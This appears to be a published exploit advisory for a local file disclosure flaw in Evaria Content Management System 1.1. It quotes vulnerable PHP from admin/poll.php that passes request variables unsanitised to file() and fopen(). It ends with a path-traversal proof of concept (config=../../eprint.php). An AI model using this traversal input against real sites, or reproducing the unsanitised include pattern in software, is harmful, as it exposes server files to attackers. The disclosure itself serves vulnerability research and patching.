Evaria Content Management System 1.1 File Disclosure

`# Exploit Title: local file include / File Disclosure  
# Date:  
# Author: khayeye shotor  
# Software Link: http://www.evaria.com/en/?view=download&dload=1  
# Version: Evaria Content Management System v.1.1  
# Thanks: khayeye sag , kandome mivei , sinehaye amam and all amehaye irani  
-----------  
  
  
vul code: /path/admin/poll.php  
  
$file_contents = file("admin/".$current_poll);  
if (((isset($vote_logging))) && (($vote_logging == 1) || ($vote_logging == 3))) {  
foreach ($file_contents as $line) {  
if (eregi($REMOTE_ADDR, $line)) {  
display_form();  
echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n <TR>\n";  
echo " <TD class=\"poll_status\" align=\"center\">" . $already_voted . "</TD>\n";  
echo " </TR>\n</TABLE>\n";  
$set_already_voted = 1;  
$vote_allow = 0;  
break;  
}  
}  
}  
if (((isset($vote_logging))) && (($vote_logging == 2) || ($vote_logging == 3))) {  
if ((isset($voted)) && ($voted == "on")) {  
if (!$set_already_voted) {  
display_form();  
echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n <TR>\n";  
echo " <TD class=\"poll_status\" align=\"center\">" . $already_voted . "</TD>\n";  
echo " </TR>\n</TABLE>\n";  
}  
$vote_allow = 0;  
break;  
}  
}  
if ($vote_allow) {  
$poll_string = $vote . "|" . $REMOTE_ADDR . "\n";  
$fp = fopen("admin/".$current_poll, "a");  
$string_size = strlen($poll_string);  
if (fputs($fp, $poll_string, $string_size)) {  
display_form();  
echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n <TR>\n";  
echo " <TD class=\"poll_status\" align=\"center\">" . $vote_cast . "</TD>\n";  
echo " </TR>\n</TABLE>\n";  
}  
fclose($fp);  
}  
}  
break;  
  
case "default":  
display_form();  
break;  
  
}  
}  
  
// Display poll form if no view is called upon...  
if (!isset($mode)) {  
display_form();  
}  
elseif ((isset($vote) == 0) && (isset($mode))) {  
display_form();  
echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n <TR>\n";  
echo " <TD class=\"poll_status\" align=\"center\">" . $no_selection . "</TD>\n";  
echo " </TR>\n</TABLE>\n";  
}  
  
function display_form() {  
global $config;  
global $no_voting;  
global $QUERY_STRING;  
echo "<FORM name=\"poll\" action=\"?" . $QUERY_STRING . "\" method=\"post\">\n";  
echo "<TABLE align=\"center\" width=\"100%\" cellspacing=\"2\" cellpadding=\"2\" border=\"0\">\n";  
echo " <TR>\n";  
$answers = file("admin/".$config);  
------------------------------------------------  
  
poc:  
/admin/poll.php?config=../../eprint.php  
  
/admin/poll.php?config=[local file]  
  
  
`